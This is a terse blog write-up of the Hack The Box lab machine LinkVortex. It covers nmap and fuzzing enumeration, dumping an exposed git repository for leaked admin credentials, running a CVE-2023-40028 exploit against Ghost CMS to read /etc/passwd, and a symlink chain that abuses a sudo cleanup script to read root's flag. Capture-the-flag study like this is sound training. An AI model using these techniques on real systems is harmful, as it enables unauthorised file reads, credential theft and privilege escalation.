r4cc0x Blog

Box Info

Name	LinkVortex
Release Date	7 Dic, 2024
OS	Linux
Rated Difficulty	Easy

Enumeration

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Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 22:03 EST
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Nmap scan report for 10.10.11.47 (10.10.11.47)
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Host is up (0.058s latency).
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PORT   STATE SERVICE VERSION
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22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
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|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
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80/tcp open  http    Apache httpd
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|_http-server-header: Apache
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|_http-title: Did not follow redirect to http://linkvortex.htb/
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds

Add domain to /etc/hosts

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echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts
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10.10.11.47 linkvortex.htb

https://medium.com/@zn9988/cve-2021-3271-ghost-cms-4-0-0-d174162482a4

http://linkvortex.htb/ghost/#/signin

SubDomain Scan

wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302,301 -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -t 100

Version from ghost and repository

We have a multiple files in .git path, we need to extract all those files with git-dumper tool.

dirsearch -u http://dev.linkvortex.htb/

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -u 'http://dev.linkvortex.htb/FUZZ' -fc 403

https://github.com/arthaud/git-dumper

commands we can run on the directory

git show

git log

config files

“filename”: “/tmp/ghost-test.db”

https://stackoverflow.com/questions/273743/using-wget-to-recursively-fetch-a-directory-with-arbitrary-files-in-it

wget -r -np -R "index.html*" -e robots=off http://www.example.com/

git restore .

we gonna use this commit id for see what restore

git diff 299cdb4387763f850887275a716153e84793077d

const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

email: admin@linkvortex.htb password: OctopiFociPilfer45

Once log in as admin, now can see the directories that before i cant see

http://linkvortex.htb/ghost/api/canary/admin/session/

CVE-2023-40028

./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb

(why no user “admin”?)

curl -i -s -d username="admin" -d password="OctopiFociPilfer45" -H "Origin: http://linkvortex.htb" -H "Accept-Version: V3.0" http://linkvortex.htb/ghost/api/canary/admin/session/

/etc/passwd

root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash

Send Email with cURL

curl -i -s -d username="admin@linkvortex.htb" -d password="OctopiFociPilfer45" -H "Origin: http://linkvortex.htb" -H "Accept-Version: V3.0" http://linkvortex.htb/ghost/api/canary/admin/session/

1
mail": {
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     "transport": "SMTP",
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     "options": {
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      "service": "Google",
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      "host": "linkvortex.htb",
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      "port": 587,
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      "auth": {
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        "user": "bob@linkvortex.htb",
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        "pass": "fibber-talented-worth"
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        }
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      }
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    }

SymLink

we need to inspect the script

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

QUAR_DIR="/var/quarantined Defines the path of the directory where symbolic links (symlinks) will be moved.

CHECK_CONTENT=false If the environment variable CHECK_CONTENT is not defined or is empty, it is set to false. This variable controls whether the content of the file pointed to by the symbolic link should be displayed.

If CHECK_CONTENT is true, the content of the file pointed to by the symbolic link is displayed.

export CHECK_CONTENT=true

if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then If the link points to a critical destination (such as etc or root directories), it deletes it. Otherwise, it moves the link to a quarantine directory and, optionally, displays its content.

ln -s /root/root.txt /home/bob/a.png

ln -s /home/bob/a.txt /home/bob/e.png

sudo -u root /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/e.png

PWNED!

HTB - LinkVortex

Box Info

Enumeration

SubDomain Scan

CVE-2023-40028

SymLink